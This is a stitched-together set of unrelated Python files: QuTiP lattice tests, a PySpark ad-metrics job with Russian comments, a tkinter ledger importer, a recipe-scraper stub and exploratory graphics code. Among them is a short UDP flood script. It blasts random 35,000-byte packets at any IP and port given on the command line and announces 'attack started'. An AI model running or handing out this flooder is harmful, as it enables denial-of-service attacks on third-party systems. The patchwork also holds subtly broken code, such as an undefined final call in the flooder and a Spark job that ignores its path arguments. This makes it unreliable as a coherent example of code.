        c_H_form = [['<site0 orb0 H site0 orb0>',
                     '<site0 orb0 H site0orb1>',
                     '<site0 orb0 H site1 orb0>',
                     '<site0 orb0 H site1orb1>'],
                    ['<site0orb1 H site0 orb0>',
                     '<site0orb1 H site0orb1>',
                     '<site0orb1 H site1 orb0>',
                     '<site0orb1 H site1orb1>'],
                    ['<site1 orb0 H site0 orb0>',
                     '<site1 orb0 H site0orb1>',
                     '<site1 orb0 H site1 orb0>',
                     '<site1 orb0 H site1orb1>'],
                    ['<site1orb1 H site0 orb0>',
                     '<site1orb1 H site0orb1>',
                     '<site1orb1 H site1 orb0>',
                     '<site1orb1 H site1orb1>']]

        i_cell_T_form = [['<cell(i):site0 orb0 H site0 orb0:cell(i+1) >',
                          '<cell(i):site0 orb0 H site0orb1:cell(i+1) >',
                          '<cell(i):site0 orb0 H site1 orb0:cell(i+1) >',
                          '<cell(i):site0 orb0 H site1orb1:cell(i+1) >'],
                         ['<cell(i):site0orb1 H site0 orb0:cell(i+1) >',
                          '<cell(i):site0orb1 H site0orb1:cell(i+1) >',
                          '<cell(i):site0orb1 H site1 orb0:cell(i+1) >',
                          '<cell(i):site0orb1 H site1orb1:cell(i+1) >'],
                         ['<cell(i):site1 orb0 H site0 orb0:cell(i+1) >',
                          '<cell(i):site1 orb0 H site0orb1:cell(i+1) >',
                          '<cell(i):site1 orb0 H site1 orb0:cell(i+1) >',
                          '<cell(i):site1 orb0 H site1orb1:cell(i+1) >'],
                         ['<cell(i):site1orb1 H site0 orb0:cell(i+1) >',
                          '<cell(i):site1orb1 H site0orb1:cell(i+1) >',
                          '<cell(i):site1orb1 H site1 orb0:cell(i+1) >',
                          '<cell(i):site1orb1 H site1orb1:cell(i+1) >']]
        c_H = np.zeros((4, 4), dtype=complex)
        i_cell_T = np.zeros((4, 4), dtype=complex)
        assert H_cell_form == c_H_form
        assert inter_cell_T_form == i_cell_T_form
        assert (H_cell == c_H).all()
        assert (inter_cell_T == i_cell_T).all()

    def test_basis(self):
        lattice_3242 = qutip.Lattice1d(num_cell=3, boundary="periodic",
                                       cell_num_site=2, cell_site_dof=[4, 2])
        psi0 = lattice_3242.basis(1, 0, [2, 1])
        psi0dag_a = np.zeros((1, 48), dtype=complex)
        psi0dag_a[0, 21] = 1
        psi0dag = qutip.Qobj(psi0dag_a, dims=[[1, 1, 1, 1], [3, 2, 4, 2]])
        assert psi0 == psi0dag.dag()

    def test_distribute_operator(self):
        lattice_412 = qutip.Lattice1d(num_cell=4, boundary="periodic",
                                      cell_num_site=1, cell_site_dof=[2])
        op = qutip.Qobj(np.array([[0, 1], [1, 0]]))
        op_all = lattice_412.distribute_operator(op)
        sv_op_all = qutip.tensor(qutip.qeye(4), qutip.sigmax())
        assert op_all == sv_op_all

    def test_operator_at_cells(self):
        p_2222 = qutip.Lattice1d(num_cell=2, boundary="periodic",
                                 cell_num_site=2, cell_site_dof=[2, 2])
        op_0 = qutip.projection(2, 0, 1)
        op_c = qutip.tensor(op_0, qutip.qeye([2, 2]))
        OP = p_2222.operator_between_cells(op_c, 1, 0)
        T = qutip.projection(2, 1, 0)
        QP = qutip.tensor(T, op_c)
        assert OP == QP

    def test_operator_between_cells(self):
        lattice_412 = qutip.Lattice1d(num_cell=4, boundary="periodic",
                                      cell_num_site=1, cell_site_dof=[2])
        op = qutip.sigmax()
        op_sp = lattice_412.operator_at_cells(op, cells=[1, 2])

        aop_sp = np.zeros((8, 8), dtype=complex)
        aop_sp[2:4, 2:4] = aop_sp[4:6, 4:6] = op.full()
        sv_op_sp = qutip.Qobj(aop_sp, dims=[[4, 2], [4, 2]])
        assert op_sp == sv_op_sp

    def test_x(self):
        lattice_3223 = qutip.Lattice1d(num_cell=3, boundary="periodic",
                                       cell_num_site=2, cell_site_dof=[2, 3])
        test = lattice_3223.x().full()
        expected = np.diag([n for n in range(3) for _ in [None]*12])
        np.testing.assert_allclose(test, expected, atol=1e-12)

    def test_k(self):
        L = 7
        lattice_L123 = qutip.Lattice1d(num_cell=L, boundary="periodic",
                                       cell_num_site=1, cell_site_dof=[2, 3])
        kq = lattice_L123.k()
        kop = np.zeros((L, L), dtype=complex)
        for row in range(L):
            for col in range(L):
                if row == col:
                    kop[row, col] = (L-1)/2
                else:
                    kop[row, col] = 1 / (np.exp(2j * np.pi * (row - col)/L)-1)
        kt = np.kron(kop * 2 * np.pi / L, np.eye(6))
        dim_H = [[2, 2, 3], [2, 2, 3]]
        kt = qutip.Qobj(kt, dims=dim_H)
        k_q = kq.eigenstates()[0]
        k_t = kt.eigenstates()[0]
        k_tC = k_t - (2*np.pi/L) * ((L-1) // 2)
        np.testing.assert_allclose(k_tC, k_q, atol=1e-12)

    @pytest.mark.parametrize(["lattice", "k_expected", "energies_expected"], [
        pytest.param(qutip.Lattice1d(num_cell=8),
                     _k_expected(8),
                     np.array([[2, np.sqrt(2), 0, -np.sqrt(2), -2,
                                -np.sqrt(2), 0, np.sqrt(2)]]),
                     id="atom chain"),
        pytest.param(_ssh_lattice(-0.5, -0.6,
                                  cells=6, sites_per_cell=2, freedom=[2, 2]),
                     _k_expected(6),
                     np.array([-_ssh_energies]*4 + [_ssh_energies]*4),
                     id="ssh model")
    ])
    def test_get_dispersion(self, lattice, k_expected, energies_expected):
        k_test, energies_test = lattice.get_dispersion()
        _assert_angles_close(k_test, k_expected, atol=1e-8)
        np.testing.assert_allclose(energies_test, energies_expected, atol=1e-8)

    def test_cell_periodic_parts(self):
        lattice = _crow_lattice(2, np.pi/4)
        eigensystems = zip(lattice.get_dispersion()[1].T,
                           lattice.cell_periodic_parts()[1])
        hamiltonians = lattice.bulk_Hamiltonians()[1]
        for hamiltonian, system in zip(hamiltonians, eigensystems):
            for eigenvalue, eigenstate in zip(*system):
                eigenstate = qutip.Qobj(eigenstate)
                np.testing.assert_allclose((hamiltonian * eigenstate).full(),
                                           (eigenvalue * eigenstate).full(),
                                           atol=1e-12)

    def test_bulk_Hamiltonians(self):
        test = _crow_lattice(2, np.pi/2).bulk_Hamiltonians()[1]
        expected = [[[0, 0], [0, 0]],
                    [[2, 2], [2, -2]],
                    [[0, 4], [4, 0]],
                    [[-2, 2], [2, 2]]]
        for test_hamiltonian, expected_hamiltonian in zip(test, expected):
            np.testing.assert_allclose(test_hamiltonian.full(),
                                       expected_hamiltonian,
                                       atol=1e-12)

    def test_bloch_wave_functions(self):
        lattice = _crow_lattice(2, np.pi/2)
        hamiltonian = lattice.Hamiltonian()
        expected = np.array([[0,    2,   1j,  1,   0,   0,  -1j,  1],
                             [2,    0,   1,  -1j,  0,   0,   1,   1j],
                             [-1j,  1,   0,   2,   1j,  1,   0,   0],
                             [1,    1j,  2,   0,   1,  -1j,  0,   0],
                             [0,    0,  -1j,  1,   0,   2,   1j,  1],
                             [0,    0,   1,   1j,  2,   0,   1,  -1j],
                             [1j,   1,   0,   0,  -1j,  1,   0,   2],
                             [1,   -1j,  0,   0,   1,   1j,  2,   0]])
        np.testing.assert_allclose(hamiltonian.full(), expected, atol=1e-8)
        for eigenvalue, eigenstate in lattice.bloch_wave_functions():
            np.testing.assert_allclose((hamiltonian * eigenstate).full(),
                                       (eigenvalue * eigenstate).full(),
                                       atol=1e-12)

class TestIntegration:
    def test_fixed_crow(self):
        lattice = _crow_lattice(2, np.pi/4, cells=4)
        hamiltonian = lattice.Hamiltonian()
        expected_hamiltonian = np.array([
            [0, _r2, (1+1j)/_r2, 1, 0, 0, (1-1j)/_r2, 1],
            [_r2, 0, 1, (1-1j)/_r2, 0, 0, 1, (1+1j)/_r2],
            [(1-1j)/_r2, 1, 0, _r2, (1+1j)/_r2, 1, 0, 0],
            [1, (1+1j)/_r2, _r2, 0, 1, (1-1j)/_r2, 0, 0],
            [0, 0, (1-1j)/_r2, 1, 0, _r2, (1+1j)/_r2, 1],
            [0, 0, 1, (1+1j)/_r2, _r2, 0, 1, (1-1j)/_r2],
            [(1+1j)/_r2, 1, 0, 0, (1-1j)/_r2, 1, 0, _r2],
            [1, (1-1j)/_r2, 0, 0, 1, (1+1j)/_r2, _r2, 0]])
        np.testing.assert_allclose(hamiltonian.full(), expected_hamiltonian,
                                   atol=1e-12)

        test_k, test_energies = lattice.get_dispersion()
        expected_k = _k_expected(4)
        expected_energies = 2*np.array([[-1,    -1,    -1, -1],
                                        [1-_r2,  1, 1+_r2,  1]])
        _assert_angles_close(test_k, expected_k, atol=1e-12)
        np.testing.assert_allclose(test_energies, expected_energies,
                                   atol=1e-12)

        for value, state in lattice.bloch_wave_functions():
            np.testing.assert_allclose((hamiltonian*state).full(),
                                       (value*state).full(),
                                       atol=1e-12)

        test_bulk_system = zip(test_energies.T,
                               lattice.cell_periodic_parts()[1])
        test_bulk_h = lattice.bulk_Hamiltonians()[1]
        expected_bulk_h = np.array([
            [[-_r2, _r2-2], [_r2-2, -_r2]],
            [[_r2,    _r2], [_r2,   -_r2]],
            [[_r2,  2+_r2], [2+_r2,  _r2]],
            [[-_r2,   _r2], [_r2,    _r2]]])
        for test, expected in zip(test_bulk_h, expected_bulk_h):
            np.testing.assert_allclose(test.full(), expected, atol=1e-8)
        for hamiltonian, system in zip(test_bulk_h, test_bulk_system):
            for eigenvalue, eigenstate in zip(*system):
                eigenstate = qutip.Qobj(eigenstate)
                np.testing.assert_allclose((hamiltonian * eigenstate).full(),
                                           (eigenvalue * eigenstate).full(),
                                           atol=1e-12)

    def test_random_crow(self):
        cells = np.random.randint(2, 60)
        phase = 2*np.pi * np.random.rand()
        lattice = _crow_lattice(1, phase, cells=cells)
        expected_k = _k_expected(cells)
        _s, _c = np.sin(phase), np.cos(phase)
        expected_energies = np.array([
            [cosk*_c + np.sqrt(2*_s*(_s+cosk) + (cosk*_c)**2),
             cosk*_c - np.sqrt(2*_s*(_s+cosk) + (cosk*_c)**2)]
            for cosk in np.cos(expected_k).flat])
        expected_energies = np.sort(expected_energies.T, axis=0)
        test_k, test_energies = lattice.get_dispersion()
        _assert_angles_close(test_k, expected_k, atol=1e-12)
        np.testing.assert_allclose(test_energies, expected_energies,
                                   atol=1e-12)

    def test_fixed_ssh(self):
        intra, inter = -0.5, -0.6
        cells = 5
        lattice = _ssh_lattice(intra, inter,
                               cells=cells, sites_per_cell=2, freedom=[1])
        Hin = qutip.Qobj([[0, intra], [intra, 0]])
        Ht = qutip.Qobj([[0, 0], [inter, 0]])
        D = qutip.qeye(cells)
        T = qutip.qdiags([np.ones(cells-1), [1]], [1, 1-cells])
        hopping = qutip.tensor(T, Ht)
        expected_hamiltonian = qutip.tensor(D, Hin) + hopping + hopping.dag()
        assert lattice.Hamiltonian() == expected_hamiltonian

        test_k, test_energies = lattice.get_dispersion()
        band = np.array([0.35297281, 0.89185772, 1.1, 0.89185772, 0.35297281])
        _assert_angles_close(test_k, _k_expected(cells), atol=1e-12)
        np.testing.assert_allclose(test_energies, np.array([-band, band]),
                                   atol=1e-8)

    def test_random_ssh(self):
        cells = np.random.randint(2, 60)
        intra, inter = -np.random.random(), -np.random.random()
        lattice = _ssh_lattice(intra, inter,
                               cells=cells, sites_per_cell=2, freedom=[1])
        expected_k = _k_expected(cells)
        band = np.sqrt(intra**2 + inter**2 + 2*intra*inter*np.cos(expected_k))
        band = np.array(band.flat)
        expected_energies = np.array([-band, band])
        test_k, test_energies = lattice.get_dispersion()
        _assert_angles_close(test_k, expected_k, atol=1e-12)
        np.testing.assert_allclose(test_energies, expected_energies,
                                   atol=1e-12)


import io
import sys
from pyspark.sql import SparkSession
from pyspark.sql.functions import col, datediff, udf
from pyspark.sql import functions as F

# определяем является ли тип объявления CPM
func_is_cpm = udf(lambda x: 1 if x == 'CPM' else 0)

# определяем является ли тип объявления CPC
func_is_cpc = udf(lambda x: 1 if x == 'CPC' else 0)

# добавляем колонку day_count
def func_day_count_add(input_file):
    # создаем DF - группируем исходный по ad_id, для событий с просмотрами,
    # находим для каждого ad_id timestamp первого и последнего просмотров
    df_timestamps = input_file.where(col('event') == 'view').groupBy('ad_id') \
        .agg(F.min('date').alias('timestamp_first_view'), \
             F.max('date').alias('timestamp_last_view'))

    # добавляем к созданному DF колонку с количеством дней, когда показывалась реклама,
    # считаем разницу в днях между первым и последним показом
    df_day_count = df_timestamps.withColumn('day_count', datediff(col('timestamp_last_view'), \
                                                                  col('timestamp_first_view')))

    # делаем outer join исходного DF и колонки day_count из нового DF по ad_id, в результате для некоторых объявлений
    # в колонке day_count будут Null значения, что является маркером того, что для данного ad_id
    # в БД отражены события связанные с кликами
    df_joined = input_file.join(df_day_count, ['ad_id'], how='outer').orderBy('day_count').fillna({'day_count': 0})

    return df_joined

# добавляем колонку CTR
def func_CTR_add(input_file):
    # создаем DF - группируя исходный DF по ad_id и считаем количество кликов для каждого
    df_clicks = input_file.where(col('event') == 'click').groupBy('ad_id').agg(F.count('event').alias('clicks_number'))

    # создаем DF - группируя исходный DF по ad_id и считаем количество показов для каждого
    df_views = input_file.where(col('event') == 'view').groupBy('ad_id').agg(F.count('event').alias('views_number'))

    # объединяем полученные DF-мы с исходным DF (т.е. добавляем 2 новые колонки - клики и показы), null в соответствующих
    # колонках заполняем 0-ми
    df_joined = input_file.join(df_clicks, ['ad_id'], how='outer') \
        .join(df_views, ['ad_id'], how='outer') \
        .fillna({'clicks_number': 0, 'views_number': 0})

    # добавляем колонку CTR к итоговому DF и переопределяем его с тем же именем
    df_joined = df_joined.withColumn('CTR', col('clicks_number') / col('views_number'))

    return df_joined

# последовательно добавляем все новые колонки, получаем итоговый DF
def transform_pipeline(input_file):
    # добавляем колонку day_count
    new_input_file = func_day_count_add(input_file)

    # добавляем колонку CTR
    new_input_file = func_CTR_add(new_input_file)

    # добавляем колонки is_cpm и is_cpc
    new_input_file = new_input_file.withColumn('is_cpm', func_is_cpm(col('ad_cost_type'))) \
        .withColumn('is_cpc', func_is_cpc(col('ad_cost_type')))

    return new_input_file

# делаем разбиение, записываем результат по соответствующему пути
def get_result(DF, path):
    splits = DF.randomSplit([0.5, 0.25, 0.25], seed=0)

    splits[0].coalesce(1).write.option('header', 'true').parquet(str(path) + '/train')
    splits[1].coalesce(1).write.option('header', 'true').parquet(str(path) + '/test')
    splits[2].coalesce(1).write.option('header', 'true').parquet(str(path) + '/validate')

def process(spark, input_file, target_path):

    input_file = spark.read.parquet('input_file')

    DF = transform_pipeline(input_file)[
        ['ad_id',
         'target_audience_count',
         'has_video',
         'is_cpm',
         'is_cpc',
         'ad_cost',
         'day_count',
         'CTR']
    ]

    get_result(DF.distinct(), 'target_path')

def main(argv):
    input_path = argv[0]
    print("Input path to file: " + input_path)
    target_path = argv[1]
    print("Target path: " + target_path)
    spark = _spark_session()
    process(spark, input_path, target_path)

def _spark_session():
    return SparkSession.builder.appName('PySparkJob').getOrCreate()

if __name__ == "__main__":
    arg = sys.argv[1:]
    if len(arg) != 2:
        sys.exit("Input and Target path are require.")
    else:
        main(arg)


from Ledger import internalFmt
from Scrollable import Scrollable
from Table import DfTable, Table
from tkinter import ttk
import pandas as pd
import tkinter as tk
from Tooltip import Tooltip

defaultColumn = 'ignore'
prevLens = [ 10, 25, 100 ]

class HeadingFmtTable( DfTable ):
    def __init__( self, parent, df, headingCb, **kwargs ):
        self.df = df.applymap( str )
        self.headingCb = headingCb
        self.headVar = []
        shape = list( df.shape )
        shape[ 0 ] += 1
        Table.__init__( self, parent, shape=shape, **kwargs )

    def makeHeader( self, column, **kwargs ):
        var = tk.StringVar( self )
        def cb( *args, pos=column ):
            self.headingCb( var.get(), pos )
        var.trace( 'w', cb )
        self.headVar.append( var )
        return ttk.OptionMenu( self, var, defaultColumn, defaultColumn, *internalFmt )

    def makeCell( self, row, column, **kwargs ):
        if not row:
            return self.makeHeader( column, **kwargs )
        return DfTable.makeCell( self, row - 1, column, **kwargs )

class ImportLedgerWindow( tk.Toplevel ):
    def __init__( self, master, ledger, format, df, psize, *args, **kwargs ):
        tk.Toplevel.__init__( self, master, *args, **kwargs )
        self.title( "import ledger" )
        self.ledger = ledger
        self.format = format
        self.df = df
        self.psize = psize
        self.table = None
        self.headerFmt = [ defaultColumn ] * df.shape[ 1 ]
        self.build()

    def finalize( self ):
        fmt = [ name if name in internalFmt else str( i )
                for i, name in enumerate( self.headerFmt ) ]
        self.df.columns = fmt
        self.ledger.add( self.df )
        if self.fmtFlag.get():
            self.format.formats[ self.fmtTitleVar.get() ] = fmt
        self.destroy()

    def updateFmt( self, value, pos ):
        if value in internalFmt:
            for f, h in zip( self.headerFmt, self.table.headVar ):
                if f == value:
                    h.set( 'ignore' )
        self.headerFmt[ pos ] = value
        if all( self.headerFmt.count( name ) == 1 for name in internalFmt ):
            if self.tooltip:
                self.confirm.configure( state=tk.NORMAL )
                self.tooltip.destroy()
                self.tooltip = None
        else:
            if self.tooltip is None:
                self.tooltip = Tooltip( self.confirm, "label columns to import" )
                self.confirm.configure( state=tk.DISABLED )

    def resizePreview( self, size ):
        if self.table is not None:
            self.table.destroy()
        self.table = HeadingFmtTable( self.scroll, self.df.head( int( size ) ), self.updateFmt )
        self.table.pack( side=tk.TOP, fill=tk.BOTH, expand=True )

    def importFormatCb( self, choice ):
        if choice == "New":
            self.fmtSave.pack( side=tk.LEFT )
            self.fmtTitle.pack( side=tk.LEFT, fill=tk.X, expand=True )
            for c, hdr in zip( self.table.cells[ 0 ], self.table.headVar ):
                hdr.set( defaultColumn )
                c.configure( state="enabled" )
            return
        self.fmtSave.pack_forget()
        self.fmtTitle.pack_forget()
        self.fmtFlag.set( 0 )
        for c, hdr, label in zip( self.table.cells[ 0 ], self.table.headVar, self.format.formats[ choice ] ):
            c.configure( state="disabled" )
            hdr.set( label if label in internalFmt else defaultColumn )
        # set up import

    def build( self ):
        forms = ttk.Frame( self )
        forms.pack( side=tk.TOP, fill=tk.X, expand=True )
        fmtVar = tk.StringVar( forms )
        fmtMenu = ttk.OptionMenu( forms, fmtVar, "New", "New", *[ k for k, f in self.format.formats.items() if len( f ) == self.df.shape[ 1 ] ], command=self.importFormatCb )
        fmtMenu.pack( side=tk.LEFT )
        self.fmtFlag = tk.IntVar( forms )
        self.fmtFlag.set( 0 )
        self.fmtSave = ttk.Checkbutton( forms, variable=self.fmtFlag, text="Save Format As" )
        self.fmtSave.pack( side=tk.LEFT )
        self.fmtTitleVar = tk.StringVar( forms )
        self.fmtTitleVar.set( "Untitled" )
        self.fmtTitle = ttk.Entry( forms, textvariable=self.fmtTitleVar )
        self.fmtTitle.pack( side=tk.LEFT, fill=tk.X, expand=True )

        button = ttk.Frame( self )
        button.pack( side=tk.BOTTOM, fill=tk.X )
        cancel = ttk.Button( button, text="Cancel", command=self.destroy )
        cancel.pack( side=tk.RIGHT )
        self.confirm = ttk.Button( button, text="Confirm", command=self.finalize, state=tk.DISABLED )
        self.confirm.pack( side=tk.RIGHT )
        self.tooltip = Tooltip( self.confirm, "label columns to import" )
        prevLenMenu = ttk.OptionMenu( button, tk.StringVar( button ), str( self.psize ), *[ str( p ) for p in prevLens if p < self.df.shape[ 0 ] ], self.df.shape[ 0 ], command=self.resizePreview )
        prevLenMenu.pack( side=tk.LEFT )

        self.scroll = Scrollable( self, horizontal=True, vertical=True )
        self.scroll.pack( side=tk.TOP, fill=tk.BOTH, expand=True )
        self.resizePreview( str( self.psize ) )

def importLedgerCb( master, ledger, format, psize ):
    def cb( master=master, ledger=ledger, format=format, psize=psize ):
        f = tk.filedialog.askopenfilename()
        if not f:
            return
        df = pd.read_csv( f, index_col=None, header=None )
        window = ImportLedgerWindow( master, ledger, format, df, psize )
        master.wait_window( window )
    return cb


#!/usr/bin/python

import random
import socket
import sys
import time

if len(sys.argv) == 1:
    sys.exit('Usage: udp.py ip port length')

def udp():
    ip = sys.argv[1]
    port = int(sys.argv[2])
    dur = int(sys.argv[3])
    randport = (True, False)[port == 0]
    clock = (lambda: 0, time.process_time)[dur > 0]
    duration = (1, (clock() + dur))[dur > 0]
    print("attack started")
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    bytes = random._urandom(35000)
    t_end = time.time() + dur

    while True:
        port = (random.randint(1, 15000000), port)[randport]
        while time.time() < t_end:
            try:
                sock.sendto(bytes, (ip, port))
            except KeyboardInterrupt:
                print("Bye")
                sys.exit()
        else:
            break

    attack('Attack Finished.')

udp()


# https://www.allrecipes.com
# http://allrecipes.co.uk
from MultiThreadScraperUK import MultiThreadScraper

s = MultiThreadScraper()
with open('Scrapper/uk/links_uk_right') as f:
    lines = f.read().splitlines()
    for url in lines:
        s.add_link(url)
s.run_scraper()


"""zbox0  zbox/transform/reference frame stuff with illustrative
diagrams.  Taken out of main program.  Want this clean and testable
Transform relates window and box, screen and world (order?)
task: make two windows.show xbox and zbox ane zooming """

"""objects
- image of current state in state window
- xbox  region for next state
- zbox  image of xbox in z window, image of calcs for next state
- transforms:
  - trxx xbox to state window
  - trzz zbox to z window
  - trxz xbox to z window
  - trzx zbox to x window
- transition  xbox to xwindow, zbox to zwindow, xbox defines zbox"""

import sys

from matplotlib.pyplot import draw

# from sacred.sacredCopyFeb22_6 import box_from_center
sys.path.append (r'/Users/jillwellman_sept09_2012/Desktop/Python/my-python-project/myImports')
sys.path.append (r'/Users/jillwellman_sept09_2012/Desktop/Python/myProjects/myModules')

from PIL import Image, ImageDraw, ImageFont
# import PIL.Image
import PIL.ImageDraw
import numpy as np
import datetime
import graphics
from graphics import *
from mygraphics import *
import colorsys

import inspect
myself = lambda: inspect.stack()[1][3]

global win, GraphWin,TR,winA,winB
global imgx,imgy,maxIt,mgn,sp
global gzbox,gscreen,depth

n=0
imgx,imgy=500,500
X = Y = imgx
side2x,side2y = imgx/16,imgy/16  #33,24   #(5.5 x 4)

maxIt = 255 # should be imgx / adjusted for debugging, non imgy # changes color palette
mgn=20
side2 = 40

gzbox=[-2,-1.5,1,1.5]    # z/complex/scale
gscreen = [0,0,imgx,imgy]   # plot size
sp = 3

def rec_draw(box,win):
	# print('\n-',myself())
	xa,ya,xb,yb = box
	return Rectangle(Point(xa,ya),Point(xb,yb)).draw(win)

def int_round_all(num,n):
	if n==0:
		return int(round(num,0))
	else:
		return round(num,0)

def round_all(lst,n):
	return list(map(lambda l : round(l,n) , lst))

class Window:

	def __init__(self,name,dtpl,coords,unit) -> None:
		self.name = name
		self.dtpl = dtpl
		self.coords = coords
		self.unit	= unit # pixels defined unit

	def transform(self,sbox,mapping):
		self.sbox = sbox   #selected box
		self.mapping = transform  #box to window

	def create(self,title,dtpl,coords,lctpl):
		win = GraphWin(self.title,*self.dtpl)
		win.setCoords(*self.coords)

	def grid(self,coords,unit):
		pass

	def clk_select(self,win,sz):
		clk = win.getMouse()
		cx,cy = clk.x,clk.y
		Circle(Point(cx,cy),w).draw(win)
		return ((cx,cy),w)

	# make and use Transforms

class Mapping:
	"""Zbox is transition.  Leave state space with clk_select"""
	def __init__(self) -> None:
		self.zbox = [-2,-1.5,1,1.5]
		# self.xbox,self.zbox = xbox,zbox
		# self.n = n
		# self.side2 = 15

	def z_window(self):
		self.window = GraphWin('Transition(zbox)',X,Y)
		window_location(self.window,X,Y,1.3*X,45)
		self.window.setCoords(-2,-1.5,1,1.5)

		for i in range(-2,2):
			for j in range(-2,2):
				Rectangle(Point(i,j),Point(i+1,j+1)).draw(self.window)
		# self.window.getMouse()

	def x_window(self):
		self.window = GraphWin('State(xbox)',X,Y)
		self.window.setCoords(0,Y,X,0)

		in_window(X/2,Y/2,'./sacred/bin0.png',self.window)

		# self.xbox,self.zbox = [0,0,X,Y],[-2,-1.5,1,1.5]

		# self.xbox_transform(win)
		# self.zbox_transform(win)
		# self.transform_printout(win)

	# def transition_window('zbox/transition',(X,Y),(-2.-1.5,1,1.5)):
	# 	pass

	def clk_select(self,win):
		clk = win.getMouse()
		cx,cy = clk.x,clk.y
		self.xbox = box_from_center(cx,cy,side2)
		rec_draw( self.xbox,win)   # this is new xbox
		self.xbox_transform(win)   ## annotate sel box with origin
		self.calculate_transforms(win)
		self.pseudo_button(win)

	def calculate_transforms(self,win):
		win = GraphWin('Transition(zbox)',X,Y)
		window_location(win,X,Y,1.3*X,35)
		win.setCoords(-2,-1.5,1,1.5)

		print()
		# these are for monitoring and dubugging zoom calcs
		self.zbox_transform(win)
		self.zbox_compare_xbox(win)
		self.transform_printout(win)

	def pseudo_button(self,win):
		"""in lower left of image window"""
		ps = Rectangle(Point(0,Y),Point(75,Y-50)).draw(win)
		ps.setWidth(3)
		Text(Point(-1.25,-1.25),'ZOOM').draw(win)

		win.getMouse()   #pseudo continue button

	def xbox_transform(self,win):
		# already have xbox.  want origin/  need main window
		print('\nself.xbox',round_all(self.xbox,0))
		self.trxx = Transform(X,Y,*self.xbox)
		ox,oy = self.trxx.xbase,self.trxx.ybase
		Circle(Point(ox,oy),5).draw(win).setFill('magenta')  		# xsel box already drawn

	def zbox_transformx(self,win):
		self.trxz = Transform(X,Y,*self.zbox)
		print('\ntrxz',self.trxz)

		xa,ya,xb,yb = self.xbox
		trxx_zbox = self.trxz.world(xa,ya) + self.trxz.world(xb,yb)
		print('zbox',round_all(trxx_zbox,4))
		rec_draw(trxx_zbox,win)
		zxa,zya,zxb,zyb = trxx_zbox
		Circle(Point(zxa,zya),0.04).draw(win).setFill('magenta')

		win.setCoords(-2,-1.5,1,1.5)
		u = 1
		for i in range(-2,1):
			for j in range(-2,2):
				Rectangle(Point(i*u,j*u),Point((i+1)*u,(j+1)*u)).draw(win)
				Text(Point(i-0.08,j+0.07),str(i)+','+str(j)).draw(win).setSize(18)
		# self.zbox = self.world.trxx(3,3,*self.xbox)
		# print(self.zbox)

	def zbox_transform(self,win):
		"""unclear how y coords work and where the origin is"""
		zxa,zya,zxb,zyb = self.zbox   #old zbox

		trxx_zbox = self.trxx.world(zxa,zya) + self.trxx.world(zxb,zyb)
		print('\nzbox after applying trxx from old xbox',round_all(trxx_zbox,0),' equals xsel, or new xbox ORIGIN twice')  # corresponds to xseel
		print('apply trxz to xsel')

		xa,ya,xb,yb = self.xbox
		new_zbox = self.trxz.world(xa,ya) + self.trxz.world(xb,yb)
		# new_zbox = round_all(new_zbox,4)
		self.zbox = new_zbox
		print('self.zbox',round_all(self.zbox,4))

		# rec_draw(self.zbox,win)

		self.trzz = Transform(3,3,*self.zbox)
		self.trzx = Transform(3,3,*self.xbox)

	def transform_printout(self,win):
		print()
		print('trxx',self.trxx)
		print('trxz',self.trzx)
		print('trzx',self.trzx)
		print('trzz',self.trzz)

	def zbox_compare_xbox(self,win):
		# calculation space
		win.setCoords(-2,-1.5,1,1.5)
		# draw grid
		u = 1
		for i in range(-2,1):
			for j in range(-2,2):
				Rectangle(Point(i*u,j*u),Point((i+1)*u,(j+1)*u)).draw(win)
				Text(Point(i-0.08,j+0.07),str(i)+','+str(j)).draw(win).setSize(18)

		# zbox on z coords in winZ
		zxa,zya,zxb,zyb = self.zbox
		Rectangle(Point(zxa,zya,), Point(zxb,zyb)).draw(win)
		Circle(Point(zxa,zyb),0.02).draw(win).setFill('magenta')

# zbox drivers   separate from OO code
def zbox_init():
	"""shows initial state with selection box"""
	win = GraphWin('',X,Y)   # shouldn't be in zbox~~state
	xbox,zbox = [0,0,X,Y], [-2,1.5,1,-1.5]
	zb = Zbox(xbox,zbox,0)

	# existing (state0) file in window
	file = './sacred/sacred0.png'
	in_window(X/2,Y/2,file,win)

	print('original zbox',zb.zbox,'\n')

	# selection box drawn
	print('sel box in center/width and corners format')
	cx,cy,w = 50,Y/2,30
	zb.sel_xbox(cx,cy,w)
	rec_draw(zb.xbox,win)
	# origin
	Circle(Point(cx-w,cy-w),5).draw(win).setFill('magenta')

	return zb

def zbox_image():
	"""exploration/explanation of zbox transition process"""
	zb = zbox_init()
	zxa,zya,zxb,zyb = zb.zbox

	zb.xbox_transform()
	trxx = zb.trxx
	trxz = zb.trxz

	# image under trxx and trxz
	print('\n ---Transforms on Original zbox--- ')
	trxx_zbox = trxx.world(zxa,zya) + trxx.world(zxb,zyb)
	print('zbox after trxx from xsel',round_all(trxx_zbox,0),' equals xsel')  # corresponds to xseel
	zxa,zya,zxb,zyb = trxx_zbox

	# image after trxz
	trxz_zbox = trxz.world(zxa,zya) + trxz.world(zxb,zyb)
	print('apply trxz to above xsel',round_all(trxz_zbox,2))
	zxa,zya,zxb,zyb = trxz_zbox

	 #selection box, corner format
	xsel = 20, 270, 80, 330
	trxsel_zbox = trxz.world(20,270)+ trxz.world(80,330)
	print('apply trxz to xsel directly',round_all(trxsel_zbox,2))

	# calculation space
	winZ = GraphWin('winZ',X,Y)
	winZ.setCoords(-2,-1.5,1,1.5)
	window_location(winZ,X,Y,1.3*X,35)
	# draw grid
	u = 1
	for i in range(-2,1):
		for j in range(-2,2):
			Rectangle(Point(i*u,j*u),Point((i+1)*u,(j+1)*u)).draw(winZ)
			Text(Point(i-0.08,j+0.07),str(i)+','+str(j)).draw(winZ).setSize(18)

	# zbox on z coords in winZ
	Rectangle(Point(-1.9, 0.15), Point(-1.6, -0.15)).draw(winZ)
	Circle(Point(zxa,zya),0.02).draw(winZ).setFill('magenta')

	winZ.getMouse()

def driver():

	mpx = Mapping()
	mpx.x_window()
	# mpx.window.getMouse()
	mpz = Mapping()
	mpz.z_window()
	# mpz.window.getMouse()

	# bx = Point(0,0).draw(mpx.window)
	# while True:

	clk = mpx.window.getMouse()
	cx,cy = clk.x,clk.y
	# bx.undraw()
	rec_draw( box_from_center(cx,cy,side2),mpx.window )
	mpx.xbox = box_from_center(cx,cy,side2)
	mpx.xbox_transform(mpx.window)
	mpx.zbox_transformx(mpz.window)
	# mpx.zbox_compare_xbox(mpz.window)

	mpx.window.getMouse()

driver()


'''
Данная программа анализирует ТЕКСТОВУЮ базу данных с больными
Больные имеют пять параметров:
имя, класс, симптом, наличие прививки и дата поступления
